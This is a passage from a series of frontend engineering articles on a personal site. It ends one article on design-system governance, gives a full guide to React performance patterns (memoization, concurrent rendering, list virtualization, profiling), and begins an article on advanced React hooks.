| **Quality Gates**    | Automated testing + design review + accessibility audit |

Core components that affect the entire organization warrant central team approval because changes ripple across all products. Product-specific components can follow a lighter-weight process with team autonomy balanced by design review. Breaking changes require an RFC (Request for Comments) process with stakeholder input and adequate migration timelines. Quality gates should be automated wherever possible—automated testing, design review checklists, and accessibility audits prevent regression without creating bottlenecks.

**Measuring Governance Health**

Track **Decision Velocity** as the time from request to decision; slow governance frustrates teams and encourages workarounds. **Contribution Rate** measures the number of contributions from product teams; low rates may indicate the process is too burdensome or the system lacks features teams need. **Quality Compliance** tracks the percentage of components meeting standards—this should trend toward 100% as the team matures. **Breaking Change Frequency** counts breaking changes per quarter; too many indicates poor initial design, while zero may indicate the system isn't evolving with user needs.

**Governance Timing**

Establish the governance framework before component development begins—retrofitting governance onto an existing system creates friction. Review and adjust governance every quarter based on friction points and team feedback. Escalate governance conflicts within 48 hours; unresolved conflicts breed resentment and encourage teams to bypass the system entirely.

**Governance Failure Modes**

| Failure Mode              | Symptoms                                                        | Recovery                                                      |
| ------------------------- | --------------------------------------------------------------- | ------------------------------------------------------------- |
| **Bottleneck governance** | Decision queue grows; teams build workarounds; adoption stalls  | Delegate categories; add async approval paths; SLA guarantees |
| **Absent governance**     | Component drift; inconsistent patterns; "design system" in name | Introduce lightweight review; define canonical patterns       |
| **Hostile governance**    | Teams perceive system as obstacle; detachment rate climbs       | Survey friction points; simplify contribution; quick wins     |
| **Scope creep**           | System tries to solve every problem; quality degrades           | Define explicit boundaries; say no to edge cases              |
| **Zombie governance**     | Documented processes exist but aren't followed; reviews are     | Enforce or remove; dead rules erode trust                     |

The most common failure is bottleneck governance—centralized teams that can't keep pace with demand. The solution isn't removing governance but creating tiered approval: trivial changes self-serve, significant changes need review, breaking changes need RFC. Brad Frost describes this as treating the design system as a product with different support tiers.

## Conclusion

Design system adoption succeeds or fails at the organizational layer, not the technical one. The patterns here—pain-point-driven business cases, governance models matched to organizational scale, and feedback loops that drive continuous improvement—apply regardless of whether you're using React, Vue, or Web Components.

**Key decisions that compound**: The governance model you choose in month two constrains how you can scale in year three. Starting centralized with a small team is almost always correct—it establishes quality standards and builds trust. The transition to federated contribution is the hard part: it requires explicit contribution guidelines, quality gates, and a champion network before product teams will invest in contributing.

**The ROI trap**: First-year ROI is typically negative or marginal. Executive sponsors who expect quick wins will lose patience. Frame the investment honestly: Year 1 builds infrastructure, Year 2 sees adoption compound, Year 3+ delivers the efficiency gains. Organizations that abandon design systems mid-journey have sunk costs with no returns—commitment through the J-curve is essential.

**What distinguishes successful programs**: They treat the design system as a product with customers, not a technical artifact to be maintained. They measure adoption and act on the data. They create contribution paths that reduce friction rather than adding process. And they evolve governance as the organization grows, resisting both the bottleneck of over-centralization and the fragmentation of ungoverned federation.

## Appendix

### Prerequisites

- Familiarity with component-based UI frameworks (React, Vue, or similar)
- Understanding of semantic versioning and package management
- Experience with cross-functional collaboration (design and engineering)
- Basic knowledge of accessibility standards (WCAG 2.1+)

### Terminology

| Term                              | Definition                                                                                                                          |
| --------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| **Design Token**                  | A named value representing a design decision (color, spacing, typography) in a platform-agnostic format                             |
| **DTCG**                          | Design Tokens Community Group—W3C community group defining the interoperable token specification                                    |
| **Federated Governance**          | A model where design system decisions are distributed across product teams with coordination from a small core team                 |
| **Strangler Fig Pattern**         | A migration strategy where new functionality is built with the new system while legacy is incrementally replaced                    |
| **Champion Program**              | A network of advocates embedded in product teams who drive adoption and provide feedback                                            |
| **Headless Component Library**    | UI components providing behavior and accessibility without styling, allowing consuming teams to apply their own visual design       |
| **RSC (React Server Components)** | A React architecture where components can render on the server, reducing client bundle size                                         |
| **Changesets**                    | A versioning tool for monorepos that tracks changes at PR time and automates version bumps and changelog generation                 |
| **Codemod**                       | An automated code transformation script (typically using jscodeshift) that migrates code between API versions                       |
| **Detachment Rate**               | The percentage of component instances where teams have overridden or disconnected from the design system version                    |
| **ROI (Return on Investment)**    | The ratio of net benefits (time savings + quality improvements - maintenance costs) to maintenance costs, expressed as a percentage |

### Summary

- **Governance model selection**: Match to organizational scale—centralized for <50 engineers, hybrid for 50-200, federated for 200+. All models require evolution as adoption grows.
- **Business case essentials**: Audit pain points before proposing solutions; calculate ROI using Time Savings + Quality Value - Maintenance Cost; expect Year 1 to be investment-heavy with compounding returns in Years 2-3.
- **Executive sponsorship**: Secure before technical work; maintain through monthly updates; measure via budget allocation, policy support, and leadership participation.
- **Team scaling**: Start with 1 designer + 1 developer; expand based on adoption demand rather than anticipated need; reassess structure every 6 months.
- **Governance health metrics**: Decision velocity, contribution rate, quality compliance, and breaking change frequency reveal whether governance enables or blocks adoption.
- **Adoption success factors**: Champion programs, documentation before release, weekly adoption measurement, and feedback loops that implement high-impact changes within 2 weeks.

### References

**Specifications and Standards**

- [W3C Design Tokens Community Group Specification](https://www.designtokens.org/) - DTCG stable version 2025.10, the industry standard for token interoperability
- [DTCG First Stable Version Announcement](https://www.w3.org/community/design-tokens/2025/10/28/design-tokens-specification-reaches-first-stable-version/) - October 2025 release notes and tool support

**Core Maintainer and Industry Expert Content**

- [Nathan Curtis - Team Models for Scaling a Design System](https://medium.com/eightshapes-llc/team-models-for-scaling-a-design-system-2cf9d03be6a0) - EightShapes; defines Solitary, Centralized, and Federated models
- [Nathan Curtis - Designing a Systems Team](https://medium.com/eightshapes-llc/designing-a-systems-team-d22f27a2d81d) - Team composition patterns and lessons learned
- [Brad Frost - A Design System Governance Process](https://bradfrost.com/blog/post/a-design-system-governance-process/) - Governance framework for design systems as products
- [Brad Frost - Maintaining Design Systems (Atomic Design)](https://atomicdesign.bradfrost.com/chapter-5/) - Long-term maintenance best practices
- [Martin Fowler - Strangler Fig Application](https://martinfowler.com/bliki/StranglerFigApplication.html) - Original pattern description (2004, updated)

**ROI Research and Industry Reports**

- [Knapsack Design Systems ROI Report 2025](https://www.knapsack.cloud/reports/roi-report) - ROI calculation methodology and benchmarks
- [Zeroheight Design Systems Report 2025](https://zeroheight.com/blog/design-systems-report-2025-an-overview/) - Industry adoption trends

**Tools and Libraries**

- [Radix Primitives](https://www.radix-ui.com/) - Headless component library with 32+ primitives
- [Changesets Documentation](https://github.com/changesets/changesets) - Monorepo versioning and changelog automation
- [Vista SWAN Design System](https://vista.design/swan/) - Enterprise design system case study referenced in governance models

---

## React Performance Patterns: Rendering, Memoization, and Scheduling

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/react-architecture/react-performance-patterns
**Category:** Frontend Engineering / React Architecture
**Description:** Patterns for keeping React applications fast as they scale: understanding the render pipeline, applying memoization correctly, leveraging concurrent features, and profiling effectively. Covers React 18+ with notes on React 19 and the React Compiler.

# React Performance Patterns: Rendering, Memoization, and Scheduling

Patterns for keeping React applications fast as they scale: understanding the render pipeline, applying memoization correctly, leveraging concurrent features, and profiling effectively. Covers React 18+ with notes on React 19 and the React Compiler.

<figure>

![React's three-phase update cycle: trigger → render → commit. The render phase is interruptible in concurrent mode; the commit phase is synchronous.](./react-s-three-phase-update-cycle-trigger-render-commit-the-render-phase-is-inter.svg)

<figcaption>React's three-phase update cycle: trigger → render → commit. The render phase is interruptible in concurrent mode; the commit phase is synchronous.</figcaption>
</figure>

## Abstract

React performance optimization reduces to one question: **which components render, and how often?**

The render phase calls component functions and diffs the virtual DOM (VDOM). Memoization (`memo`, `useMemo`, `useCallback`) skips renders when inputs haven't changed—but only if those inputs are referentially stable. Object.is comparison means new object/function references break memoization.

React 18's concurrent rendering makes the render phase interruptible. Transitions (`useTransition`, `useDeferredValue`) let you mark updates as non-urgent so user interactions remain responsive during expensive renders.

For large lists, virtualization renders only visible items, keeping DOM size constant regardless of data size.

Profile with React DevTools Profiler to find actual bottlenecks—measure before optimizing.

## The Render Pipeline

### When Components Render

A component renders when:

1. **Its state changes** via a `set` function
2. **Its parent re-renders** (unless memoized with stable props)
3. **A context it consumes changes**

Rendering means React calls your component function. It does not necessarily mean DOM updates—that happens only if the reconciliation diff finds changes.

### Render vs. Commit

React separates work into two phases:

| Phase      | What Happens                                       | Interruptible (React 18+) |
| ---------- | -------------------------------------------------- | ------------------------- |
| **Render** | Call components, build VDOM, diff against previous | Yes                       |
| **Commit** | Apply DOM mutations, run effects                   | No                        |

The render phase is pure computation. React may call components multiple times, pause rendering, or discard work entirely. The commit phase applies changes to the DOM synchronously—once React starts committing, it runs to completion.

### Reconciliation: The O(n) Diff

Comparing arbitrary trees is O(n³). React uses two heuristics to achieve O(n):

1. **Different element types produce different trees.** Changing `<div>` to `<span>` unmounts the entire subtree and rebuilds from scratch.
2. **Keys identify stable children.** Without keys, React matches children by position—reordering causes unnecessary unmount/remount cycles.

```tsx title="Key behavior" {5}
// Without keys: inserting at index 0 remounts ALL items
<ul>
  {items.map(item => <li>{item.name}</li>)}
</ul>

// With keys: React matches by identity, only new items mount
<ul>
  {items.map(item => <li key={item.id}>{item.name}</li>)}
</ul>
```

**Key gotcha:** Using array index as key breaks when items reorder or filter. Component state stays with the index, not the data. Use stable IDs from your data.

### Fiber Architecture

React Fiber (introduced in React 16) represents components as a linked list of "fiber" nodes rather than a recursive call stack. Each fiber holds:

- Component type and props
- Corresponding DOM node
- Links to parent, child, and sibling fibers
- Pending work and priority

This structure enables **incremental rendering**: React can pause mid-render, handle a higher-priority update, then resume. It uses double-buffering—maintaining a "current" tree (on screen) and a "work-in-progress" tree (being built)—and swaps pointers on commit.

> **Prior to React 16:** Reconciliation was synchronous and recursive. Once a render started, it blocked the main thread until completion. Deep component trees caused frame drops.

## Memoization Patterns

### When Memoization Helps

Memoization skips work when inputs haven't changed. It helps when:

1. A component re-renders frequently with identical props
2. The component's render is expensive (complex calculations, many children)
3. You're passing callbacks to memoized children

It doesn't help when:

- Props always change (new objects/functions every render)
- Render cost is negligible
- The component rarely re-renders anyway

### `React.memo`: Skipping Re-renders

`memo` wraps a component to skip re-rendering when props are shallowly equal:

```tsx title="memo usage" collapse={1-3,15-20}
import { memo } from "react"

interface ChartProps {
  data: number[]
  color: string
}

// Only re-renders if data or color reference changes
const Chart = memo(function Chart({ data, color }: ChartProps) {
  // Expensive rendering logic
  return <canvas>{/* ... */}</canvas>
})

// Parent component
function Dashboard() {
  const [filter, setFilter] = useState("all")
  // ...
}
```

**How it works:** React compares each prop using `Object.is`. For primitives, this compares values. For objects and functions, it compares references—a new object `{}` is never equal to a previous `{}`.

**Custom comparison:** For deep comparisons, pass a second argument:

```tsx title="Custom comparison" {3-7}
const Chart = memo(
  function Chart({ dataPoints }: { dataPoints: Point[] }) {
    /* ... */
  },
  (prevProps, nextProps) => {
    // Return true to skip re-render, false to re-render
    return (
      prevProps.dataPoints.length === nextProps.dataPoints.length &&
      prevProps.dataPoints.every((p, i) => p.x === nextProps.dataPoints[i].x && p.y === nextProps.dataPoints[i].y)
    )
  },
)
```

**Danger:** Custom comparers must compare _all_ props. Skipping a callback prop causes stale closures—the component sees outdated state.

### `useMemo`: Caching Computed Values

`useMemo` caches a calculated value, recomputing only when dependencies change:

```tsx title="useMemo for expensive computation" collapse={1-5,17-20}
import { useMemo, useState } from "react"

interface Todo {
  id: string
  text: string
  completed: boolean
}

function TodoList({ todos, filter }: { todos: Todo[]; filter: string }) {
  // filterTodos only runs when todos or filter changes
  const visibleTodos = useMemo(() => filterTodos(todos, filter), [todos, filter])

  return <List items={visibleTodos} />
}
```

**Dependency comparison:** React uses `Object.is` on each dependency. If you create a new object in the component body and use it as a dependency, `useMemo` recalculates every render—defeating its purpose.

```tsx title="Dependency trap" {4-5,8-9}
function Search({ items }: { items: Item[] }) {
  const [query, setQuery] = useState("")

  // ❌ Bad: options object is new every render
  const options = { caseSensitive: false, query }

  const results = useMemo(
    // Recalculates every render because options changed
    () => searchItems(items, options),
    [items, options],
  )
}
```

**Fix:** Move the object creation inside `useMemo`, or memoize the options object separately:

```tsx title="Fixed dependency" {4-5}
function Search({ items }: { items: Item[] }) {
  const [query, setQuery] = useState("")

  // ✅ Object created inside useMemo, dependencies are primitives
  const results = useMemo(() => {
    const options = { caseSensitive: false, query }
    return searchItems(items, options)
  }, [items, query])
}
```

### `useCallback`: Stable Function References

`useCallback` returns the same function reference across renders when dependencies haven't changed:

```tsx title="useCallback for stable callbacks" collapse={1-3,13-15}
import { useCallback, useState } from "react"

const MemoizedChild = memo(function Child({ onClick }: { onClick: () => void }) {
  return <button onClick={onClick}>Click</button>
})

function Parent() {
  const [count, setCount] = useState(0)

  // Same function reference as long as count hasn't changed
  const handleClick = useCallback(() => {
    console.log("Count:", count)
  }, [count])

  return <MemoizedChild onClick={handleClick} />
}
```

**Relationship to `useMemo`:** `useCallback(fn, deps)` is equivalent to `useMemo(() => fn, deps)`. Both cache values; `useCallback` is specialized for functions.

**Common mistake—stale closures:**

```tsx title="Stale closure trap" {3-5,8-10}
function Counter() {
  const [count, setCount] = useState(0)

  // ❌ Bad: empty deps means count is always 0 in the closure
  const increment = useCallback(() => {
    setCount(count + 1) // Always sets to 1
  }, [])

  // ✅ Good: use updater function to avoid dependency
  const increment = useCallback(() => {
    setCount((c) => c + 1) // Works correctly
  }, [])
}
```

### When NOT to Memoize

Memoization has overhead: storing cached values, comparing dependencies. For cheap operations, the overhead exceeds the savings.

**Skip memoization when:**

- The operation is fast (most operations are)
- Props always change anyway
- You're optimizing without measuring
- The component rarely re-renders

**Rule of thumb:** If you're not passing the value to a memoized child or the calculation doesn't measurably impact performance (1ms+ in profiler), skip the memoization.

### React Compiler: Automatic Memoization

React Compiler (currently in beta) analyzes your code at build time and automatically inserts memoization. It makes manual `memo`, `useMemo`, and `useCallback` largely unnecessary:

```tsx title="With React Compiler"
// No manual memoization needed—compiler handles it
function TodoList({ todos, filter }) {
  const visibleTodos = filterTodos(todos, filter)
  return <List items={visibleTodos} />
}
```

The compiler applies memoization correctly based on data flow analysis, avoiding the pitfalls of manual dependency arrays. It requires code to follow React's rules (components are pure, hooks follow the rules of hooks). Codebases with impure components may need fixes before the compiler works correctly.

## Concurrent Rendering

### What Changed in React 18

React 18 introduced concurrent rendering—the render phase can be interrupted, paused, and resumed. This is opt-in: you only get concurrent behavior when using concurrent features (`useTransition`, `useDeferredValue`, Suspense for data).

| React 17                                               | React 18+                                                           |
| ------------------------------------------------------ | ------------------------------------------------------------------- |
| Synchronous rendering—once started, runs to completion | Interruptible rendering—can pause for urgent updates                |
| Updates processed in order                             | Updates have priority—urgent updates interrupt transitions          |
| Batching only in React event handlers                  | Automatic batching everywhere (promises, setTimeout, native events) |

### Transitions: Urgent vs. Non-Urgent Updates

`useTransition` marks state updates as non-urgent. React handles urgent updates (typing, clicking) first, then resumes transition updates:

```tsx title="useTransition for tab switching" collapse={1-4,24-30}
import { useState, useTransition } from "react"

function TabContainer() {
  const [tab, setTab] = useState("home")
  const [isPending, startTransition] = useTransition()

  function selectTab(nextTab: string) {
    startTransition(() => {
      // This update is non-urgent
      setTab(nextTab)
    })
  }

  return (
    <div>
      <TabButtons onSelect={selectTab} isPending={isPending} />
      <div style={{ opacity: isPending ? 0.7 : 1 }}>
        <TabContent tab={tab} />
      </div>
    </div>
  )
}
```

**How it works:**

1. User clicks a tab → `startTransition` called
2. `isPending` becomes `true` immediately
3. React starts rendering the new tab in the background
4. If user types in an input, React interrupts the tab render to handle the urgent input update
5. Once the tab render completes and no urgent updates are pending, React commits

**Critical limitation:** Don't use transitions for controlled input state. The input value must update synchronously for the input to feel responsive:

```tsx title="Transition limitation" {4-5,9-10}
function SearchForm() {
  const [query, setQuery] = useState("")

  // ❌ Bad: input feels laggy
  const handleChange = (e) => startTransition(() => setQuery(e.target.value))

  // ✅ Good: separate state for input vs. results
  const [inputValue, setInputValue] = useState("")
  const [searchQuery, setSearchQuery] = useState("")

  const handleChange = (e) => {
    setInputValue(e.target.value) // Urgent
    startTransition(() => setSearchQuery(e.target.value)) // Deferred
  }
}
```

### `useDeferredValue`: Deferring Derived State

`useDeferredValue` defers updating a value, showing stale content while fresh content renders in the background:

```tsx title="useDeferredValue for search" collapse={1-4,20-25}
import { useState, useDeferredValue, Suspense } from "react"

function SearchPage() {
  const [query, setQuery] = useState("")
  const deferredQuery = useDeferredValue(query)
  const isStale = query !== deferredQuery

  return (
    <>
      <input value={query} onChange={(e) => setQuery(e.target.value)} />
      <div style={{ opacity: isStale ? 0.5 : 1 }}>
        <Suspense fallback={<Spinner />}>
          <SearchResults query={deferredQuery} />
        </Suspense>
      </div>
    </>
  )
}
```

**Difference from `useTransition`:**

- `useTransition`: You control the state setter. Wrap the update in `startTransition`.
- `useDeferredValue`: You receive a prop/value you don't control. Defer the value itself.

**Difference from debouncing:**

| Debouncing                   | `useDeferredValue`                    |
| ---------------------------- | ------------------------------------- |
| Fixed delay (e.g., 300ms)    | No fixed delay—adapts to device speed |
| Blocks during delay          | Background render is interruptible    |
| Same behavior on all devices | Fast devices see less delay           |

### Suspense for Data Fetching

Suspense lets components "wait" for data, showing a fallback until ready:

```tsx title="Suspense boundaries" collapse={1-3,16-20}
import { Suspense } from "react"

function ProfilePage({ userId }: { userId: string }) {
  return (
    <Suspense fallback={<ProfileSkeleton />}>
      <ProfileDetails userId={userId} />
      <Suspense fallback={<PostsSkeleton />}>
        <ProfilePosts userId={userId} />
      </Suspense>
    </Suspense>
  )
}

// Components use Suspense-enabled data fetching
function ProfileDetails({ userId }) {
  const user = use(fetchUser(userId)) // Suspends until resolved
  return <h1>{user.name}</h1>
}
```

**Nested Suspense boundaries** create a reveal sequence:

1. Show `ProfileSkeleton` while `ProfileDetails` loads
2. Once `ProfileDetails` ready, show it + `PostsSkeleton` for posts
3. Once posts ready, show everything

**Transitions + Suspense:** Without a transition, suspending hides already-shown content and shows the fallback. With a transition, React keeps showing the current content until the new content is ready:

```tsx title="Transition preserves visible content" {4-6}
function Router() {
  const [page, setPage] = useState("/")

  function navigate(url: string) {
    startTransition(() => setPage(url)) // Keeps current page visible
  }
}
```

## List Virtualization

### The Problem with Large Lists

Rendering 10,000 list items creates 10,000 DOM nodes. Each node consumes memory, and the browser must calculate layout/styles for all of them. Scrolling triggers repaints across the entire tree.

Virtualization renders only visible items (plus a small buffer), maintaining a constant DOM size regardless of list length.

### react-window

`react-window` is a lightweight virtualization library. Two main components:

**`FixedSizeList`**: For items with uniform heights

```tsx title="FixedSizeList" collapse={1-6,23-28}
import { FixedSizeList } from "react-window"

interface RowProps {
  index: number
  style: React.CSSProperties
  data: string[]
}

function Row({ index, style, data }: RowProps) {
  return <div style={style}>{data[index]}</div>
}

function VirtualizedList({ items }: { items: string[] }) {
  return (
    <FixedSizeList
      height={400}
      width="100%"
      itemCount={items.length}
      itemSize={50} // Each row is 50px tall
      itemData={items}
      overscanCount={5} // Render 5 extra items above/below viewport
    >
      {Row}
    </FixedSizeList>
  )
}
```

**`VariableSizeList`**: For items with dynamic heights

```tsx title="VariableSizeList" collapse={1-4,15-20}
import { VariableSizeList } from "react-window"

function getItemSize(index: number): number {
  // Return height for item at index
  return items[index].isExpanded ? 200 : 50
}

function VirtualizedList({ items }) {
  return (
    <VariableSizeList height={400} width="100%" itemCount={items.length} itemSize={getItemSize}>
      {Row}
    </VariableSizeList>
  )
}
```

**The `style` prop is mandatory**—it positions items absolutely within the scroll container.

### Overscan

`overscanCount` renders items outside the visible window to prevent white flashes during fast scrolling. Higher values improve smoothness but reduce performance gains. Start with 2-5 and increase if you see flashing.

### Limitations

- **Browser search (Ctrl+F) doesn't find non-rendered items.** Implement custom search that calculates positions and scrolls to matches.
- **Accessibility:** Screen readers may not announce off-screen items. Test with assistive technology.
- **Dynamic heights:** Variable-size lists must know item heights upfront. For truly dynamic content, measure heights and cache them.

## Profiling

### React DevTools Profiler

The Profiler records component renders and timing:

1. Open React DevTools → Profiler tab
2. Click record, interact with your app, click stop
3. Review the flame graph

**Flame graph reading:**

- Each bar = one component render
- Width = time spent rendering (component + children)
- Color: blue (fast), yellow (medium), red (slow)
- Gray = component didn't render

**Ranked chart:** Shows components sorted by self-time (excluding children). Use this to find individual slow components.

### The `<Profiler>` Component

For programmatic measurement:

```tsx title="Profiler component" collapse={1-4,20-25}
import { Profiler, ProfilerOnRenderCallback } from "react"

const onRender: ProfilerOnRenderCallback = (id, phase, actualDuration, baseDuration, startTime, commitTime) => {
  console.log({
    id, // Profiler id prop
    phase, // "mount" | "update" | "nested-update"
    actualDuration, // Time spent rendering (with memoization)
    baseDuration, // Time without any memoization (worst case)
  })
}

function App() {
  return (
    <Profiler id="App" onRender={onRender}>
      <MainContent />
    </Profiler>
  )
}
```

Compare `actualDuration` to `baseDuration` to verify memoization effectiveness. If they're similar, memoization isn't helping.

### Profiling in Production

Development builds include extra checks that slow rendering. Production builds are 2-10x faster. For accurate measurements:

1. Use a **profiling build**: `react-dom/profiling` instead of `react-dom`
2. Measure in production-like conditions
3. Test on representative hardware (not just developer machines)

### "Why Did This Render?"

Enable "Record why each component rendered while profiling" in DevTools settings. After recording, select a component to see why it re-rendered:

- "Props changed" (lists which props)
- "State changed"
- "Context changed"
- "Parent re-rendered"

This pinpoints unnecessary renders immediately.

## Performance Checklist

### Rendering

- [ ] Use `key` with stable, unique IDs (not array index)
- [ ] Keep state as local as possible
- [ ] Split large components so state changes affect smaller subtrees

### Memoization

- [ ] Apply `memo` to components that re-render frequently with same props
- [ ] Ensure memoized components receive stable references (primitives or memoized objects/functions)
- [ ] Use `useMemo` for expensive calculations with stable dependencies
- [ ] Use `useCallback` for callbacks passed to memoized children

### Concurrent Features

- [ ] Wrap expensive, non-urgent updates in `startTransition`
- [ ] Use `useDeferredValue` for values that don't need immediate updates
- [ ] Show visual feedback (`isPending`, opacity reduction) during transitions

### Large Lists

- [ ] Virtualize lists with 100+ items using `react-window`
- [ ] Set appropriate `overscanCount` (2-5 typically)
- [ ] Implement custom search if users need Ctrl+F functionality

### Profiling

- [ ] Profile with React DevTools before optimizing
- [ ] Use production profiling builds for accurate measurements
- [ ] Enable "why did this render" to find unnecessary re-renders
- [ ] Verify memoization helps by comparing `actualDuration` vs `baseDuration`

## Conclusion

React performance follows a hierarchy:

1. **Minimize render frequency.** Keep state local, lift only what's necessary, use proper keys.
2. **Skip unnecessary renders.** Apply memoization where profiling shows benefit.
3. **Make renders interruptible.** Use transitions for non-urgent updates.
4. **Reduce DOM size.** Virtualize large lists.

Measure before optimizing. Most React apps don't need aggressive optimization—the framework is fast by default. When you do optimize, profile to find actual bottlenecks rather than guessing.

## Appendix

### Prerequisites

- React component model (props, state, effects)
- JSX and rendering basics
- JavaScript reference equality (`===`, `Object.is`)

### Terminology

- **VDOM (Virtual DOM):** In-memory representation of the UI that React diffs against the previous version to determine minimal DOM updates.
- **Reconciliation:** The process of diffing the old and new VDOM trees to compute the minimal set of changes.
- **Fiber:** React's unit of work representing a component instance; enables incremental rendering.
- **Commit:** The phase where React applies changes to the actual DOM.
- **Transition:** A non-urgent update that can be interrupted by urgent updates.

### Summary

- **Render frequency** is the primary performance lever—reduce unnecessary component calls
- **Memoization** (`memo`, `useMemo`, `useCallback`) works only with referentially stable inputs
- **Concurrent features** (`useTransition`, `useDeferredValue`) keep UI responsive during expensive updates
- **Virtualization** renders only visible items, maintaining constant DOM size
- **Profile first**, optimize second—React DevTools shows where time is actually spent

### References

- [React: Render and Commit](https://react.dev/learn/render-and-commit) - Official docs on the render pipeline
- [Reconciliation (Legacy Docs)](https://legacy.reactjs.org/docs/reconciliation.html) - O(n) diffing algorithm details
- [React.memo](https://react.dev/reference/react/memo) - Component memoization API
- [useMemo](https://react.dev/reference/react/useMemo) - Value memoization hook
- [useCallback](https://react.dev/reference/react/useCallback) - Callback memoization hook
- [useTransition](https://react.dev/reference/react/useTransition) - Transition hook API
- [useDeferredValue](https://react.dev/reference/react/useDeferredValue) - Deferred value hook API
- [Suspense](https://react.dev/reference/react/Suspense) - Suspense component API
- [React 18 Release Notes](https://react.dev/blog/2022/03/29/react-v18) - Concurrent features announcement
- [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture) - Andrew Clark's explanation of Fiber
- [react-window](https://github.com/bvaughn/react-window) - List virtualization library
- [Virtualize long lists with react-window](https://web.dev/articles/virtualize-long-lists-react-window) - web.dev guide
- [Profiler API](https://react.dev/reference/react/Profiler) - Programmatic profiling component

---

## React Hooks Advanced Patterns: Specialized Hooks and Composition

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/react-architecture/react-hooks-advanced-patterns
**Category:** Frontend Engineering / React Architecture
**Description:** Advanced hook APIs, performance patterns, and composition techniques for concurrent React applications. Covers useId, use, useLayoutEffect, useSyncExternalStore, useInsertionEffect, useDeferredValue, and useTransition—hooks that solve specific problems the core hooks cannot.

# React Hooks Advanced Patterns: Specialized Hooks and Composition

Advanced hook APIs, performance patterns, and composition techniques for concurrent React applications. Covers `useId`, `use`, `useLayoutEffect`, `useSyncExternalStore`, `useInsertionEffect`, `useDeferredValue`, and `useTransition`—hooks that solve specific problems the core hooks cannot.

<figure>

![Specialized hooks grouped by the problem domain they address. Concurrent hooks optimize UI responsiveness; effect timing hooks control when code runs relative to browser paint; external integration hooks connect React to non-React state.](./specialized-hooks-grouped-by-the-problem-domain-they-address-concurrent-hooks-op.svg)

<figcaption>Specialized hooks grouped by the problem domain they address. Concurrent hooks optimize UI responsiveness; effect timing hooks control when code runs relative to browser paint; external integration hooks connect React to non-React state.</figcaption>
</figure>

## Abstract

These hooks exist because the core hooks (`useState`, `useEffect`, `useRef`) can't solve every problem. Each addresses a specific gap:

- **Concurrent rendering** (`useTransition`, `useDeferredValue`): React 18's concurrent features need APIs to mark updates as interruptible. Without them, expensive renders block user input.
- **Effect timing** (`useLayoutEffect`, `useInsertionEffect`): `useEffect` runs _after_ paint. Some code—DOM measurements, style injection—must run _before_ paint to avoid visual flicker.
- **External state** (`useSyncExternalStore`): Subscribing to external stores with `useEffect`/`useState` causes "tearing" in concurrent mode—different components see different store versions.
- **Async data** (`use`): React 19's `use` hook reads promises during render, integrating with Suspense without custom wrapper components.
- **Stable IDs** (`useId`): Server and client can generate IDs independently, causing hydration mismatches. `useId` uses component tree position to guarantee consistency.

The mental model: **core hooks are general-purpose; specialized hooks solve specific problems that arise from React's architecture (concurrent rendering, SSR, browser paint timing).**

## Concurrent Rendering Hooks

React 18 introduced concurrent rendering, where renders can be interrupted and resumed. Two hooks let you leverage this: `useTransition` marks state updates as non-blocking; `useDeferredValue` defers a value so expensive renders don't block urgent updates.

### useTransition: Non-Blocking State Updates

**Problem it solves**: Expensive state updates (tab switches, large list filtering) block user input. The UI becomes unresponsive while React renders.

**Design rationale**: Mark updates as "transitions"—low-priority work that can be interrupted if higher-priority updates (like typing) arrive. React keeps showing the old UI until the new one is ready.

```tsx title="useTransition-basic.tsx" collapse={1-3, 15-25}
import { useState, useTransition } from "react"

function TabContainer() {
  const [tab, setTab] = useState("about")
  const [isPending, startTransition] = useTransition()

  function selectTab(nextTab: string) {
    startTransition(() => {
      setTab(nextTab) // Low-priority update
    })
  }

  return (
    <div style={{ opacity: isPending ? 0.7 : 1 }}>
      <button onClick={() => selectTab("posts")}>Posts</button>
      <button onClick={() => selectTab("contact")}>Contact</button>
      {tab === "posts" && <SlowPostsTab />}
      {tab === "contact" && <ContactTab />}
    </div>
  )
}
```

**How it works**:

1. `startTransition(() => setState(...))` marks the update as non-blocking
2. React starts rendering with the new state in the background
3. If the user clicks elsewhere, React abandons the old render and starts fresh
4. `isPending` is `true` until all transition work completes

**React 19 async support**: Transitions can contain `await`:

```tsx title="useTransition-async.tsx" collapse={1-2}
// React 19+: async transitions
function SubmitButton({ onSubmit }: { onSubmit: () => Promise<void> }) {
  const [isPending, startTransition] = useTransition()

  return (
    <button
      disabled={isPending}
      onClick={() => {
        startTransition(async () => {
          await onSubmit()
          // State updates after await need another startTransition (current limitation)
        })
      }}
    >
      {isPending ? "Submitting..." : "Submit"}
    </button>
  )
}
```

**Edge cases and caveats**:

| Scenario                              | Behavior                                                                 |
| ------------------------------------- | ------------------------------------------------------------------------ |
| Multiple rapid transitions            | Batched together (may change in future React versions)                   |
| Text input in transition              | ❌ Breaks responsiveness—input value should update synchronously         |
| `setTimeout` inside `startTransition` | ❌ Doesn't work—the `setState` inside timeout isn't marked as transition |
| Error in transition                   | Triggers nearest Error Boundary                                          |
| `startTransition` identity            | Stable—safe to omit from `useEffect` dependencies                        |

**When to use vs. not use**:

| Use For                                 | Don't Use For                                               |
| --------------------------------------- | ----------------------------------------------------------- |
| Tab switches, route navigation          | Controlled text inputs                                      |
| Large list filtering                    | Updates that must be immediate                              |
| Form submission with async              | When you need exact timing control                          |
| Any update where stale UI is acceptable | Outside React components (use standalone `startTransition`) |

### useDeferredValue: Defer Non-Critical Values

**Problem it solves**: A value changes rapidly (typing), but rendering with the new value is expensive (filtering thousands of items). You want the input to stay responsive while the expensive render happens in the background.

**Design rationale**: "Lag" behind the actual value. React first renders with the old deferred value (fast), then re-renders in the background with the new value (can be interrupted).

```tsx title="useDeferredValue-search.tsx" collapse={1-4, 16-25}
import { useState, useDeferredValue, useMemo } from "react"

function SearchPage({ items }: { items: Item[] }) {
  const [query, setQuery] = useState("")
  const deferredQuery = useDeferredValue(query)
  const isStale = query !== deferredQuery

  const filteredItems = useMemo(() => items.filter((item) => item.name.includes(deferredQuery)), [items, deferredQuery])

  return (
    <>
      <input value={query} onChange={(e) => setQuery(e.target.value)} />
      <div style={{ opacity: isStale ? 0.5 : 1 }}>
        <ItemList items={filteredItems} />
      </div>
    </>
  )
}
```

**How the two-phase render works**:

1. User types "ab" (query = "ab", but deferredQuery = "a" from before)
2. React renders with deferredQuery = "a" (fast, uses cached filter result)
3. React starts background render with deferredQuery = "ab"
